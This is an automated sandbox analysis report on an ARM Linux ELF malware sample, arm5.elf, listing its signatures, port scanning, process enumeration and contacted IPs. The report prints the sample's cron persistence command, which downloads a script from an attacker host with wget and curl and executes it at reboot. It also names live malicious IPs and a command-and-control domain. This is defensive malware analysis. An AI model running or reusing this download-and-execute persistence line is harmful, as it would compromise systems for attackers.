Linux Analysis Report
arm5.elf

Overview

General Information

Sample name: arm5.elf
Analysis ID: 1542898
MD5: c84fca197a6c0d8da1e804407643d901
SHA1: b18d35378928ff15d652cdb21e48d48abac2ffa8
SHA256: b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: arm5.elf ReversingLabs: Detection: 13%
Found strings indicative of a multi-platform dropper
Source: tmp.Xufs4v.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 185.82.200.181 ports 21798,1,2,7,8,9
Source: global traffic TCP traffic: 194.87.198.29 ports 21679,1,2,6,7,9
Source: global traffic TCP traffic: 193.233.193.45 ports 17002,7697,0,1,2,7
Source: global traffic TCP traffic: 195.133.92.51 ports 5079,11808,0,1,3,6,9,13960
Source: global traffic TCP traffic: 31.13.248.89 ports 5241,1,2,4,5,3477
Source: global traffic TCP traffic: 86.107.100.80 ports 3166,0,1,4,8,9,18904
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:34194 -> 88.151.195.22:2442
Source: global traffic TCP traffic: 192.168.2.13:55600 -> 185.82.200.181:21798
Source: global traffic TCP traffic: 192.168.2.13:52290 -> 81.29.149.178:13935
Source: global traffic TCP traffic: 192.168.2.13:37134 -> 193.233.193.45:17002
Source: global traffic TCP traffic: 192.168.2.13:59012 -> 91.149.238.18:11528
Source: global traffic TCP traffic: 192.168.2.13:38608 -> 31.13.248.89:5241
Source: global traffic TCP traffic: 192.168.2.13:56776 -> 91.149.218.232:25550
Source: global traffic TCP traffic: 192.168.2.13:41438 -> 195.133.92.51:13960
Source: global traffic TCP traffic: 192.168.2.13:41242 -> 86.107.100.80:18904
Source: global traffic TCP traffic: 192.168.2.13:44186 -> 194.87.198.29:21679
Source: global traffic TCP traffic: 192.168.2.13:55000 -> 213.182.204.57:18471
Sample listens on a socket
Source: /tmp/arm5.elf (PID: 5421) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.Xufs4v.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@28/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5427) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5426) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5426) File: /var/spool/cron/crontabs/tmp.Xufs4v Jump to behavior
Source: /usr/bin/crontab (PID: 5426) File: /var/spool/cron/crontabs/root Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5481/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5265/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5620/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5480/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5618/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5619/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5610/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5534/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5611/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5612/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5613/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5614/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5615/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5616/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5617/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5550/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5597/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5598/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5607/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5608/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5609/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5621/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5547/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5503/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5624/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5548/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5549/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5605/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5430) File opened: /proc/5606/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5560/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5561/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5265/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5562/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5563/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5564/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5565/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5620/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5618/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5619/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5555/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5610/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5556/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5611/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5557/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5612/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5536/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5558/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5613/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5559/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5614/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5615/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5616/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5617/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5550/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5551/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5552/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5553/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5597/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5554/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5598/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5607/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5608/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5609/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5621/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5547/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5525/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5624/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5548/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5526/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5549/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5605/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5529/status Jump to behavior
Source: /tmp/arm5.elf (PID: 5480) File opened: /proc/5606/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm5.elf (PID: 5423) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm5.elf (PID: 5421) Queries kernel information via 'uname': Jump to behavior
Source: arm5.elf, 5421.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5428.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5481.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.elf, 5421.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5428.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp, arm5.elf, 5481.1.000055b2cfce3000.000055b2cfe59000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 5421.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5428.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 5421.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5428.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp, arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: qKFwx86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 5481.1.00007fffdb589000.00007fffdb5aa000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.82.200.181
 kingstonwikkerink.dyn Netherlands
60117 HSAE true
213.182.204.57
 unknown Latvia
9009 M247GB false
194.87.198.29
 unknown Russian Federation
49352 LOGOL-ASRU true
193.233.193.45
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU true
31.13.248.89
 unknown Bulgaria
34224 NETERRA-ASBG true
86.107.100.80
 unknown Romania
38995 AMG-ASRO true
88.151.195.22
 unknown Azerbaijan
15723 AZERONLINEAZ false
81.29.149.178
 unknown Switzerland
39616 COMUNICA_IT_SERVICESCH false
91.149.238.18
 unknown Poland
41952 MARTON-ASPL false
195.133.92.51
 unknown Russian Federation
197695 AS-REGRU true
91.149.218.232
 unknown Poland
198401 GECKONET-ASPL false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
kingstonwikkerink.dyn 185.82.200.181 true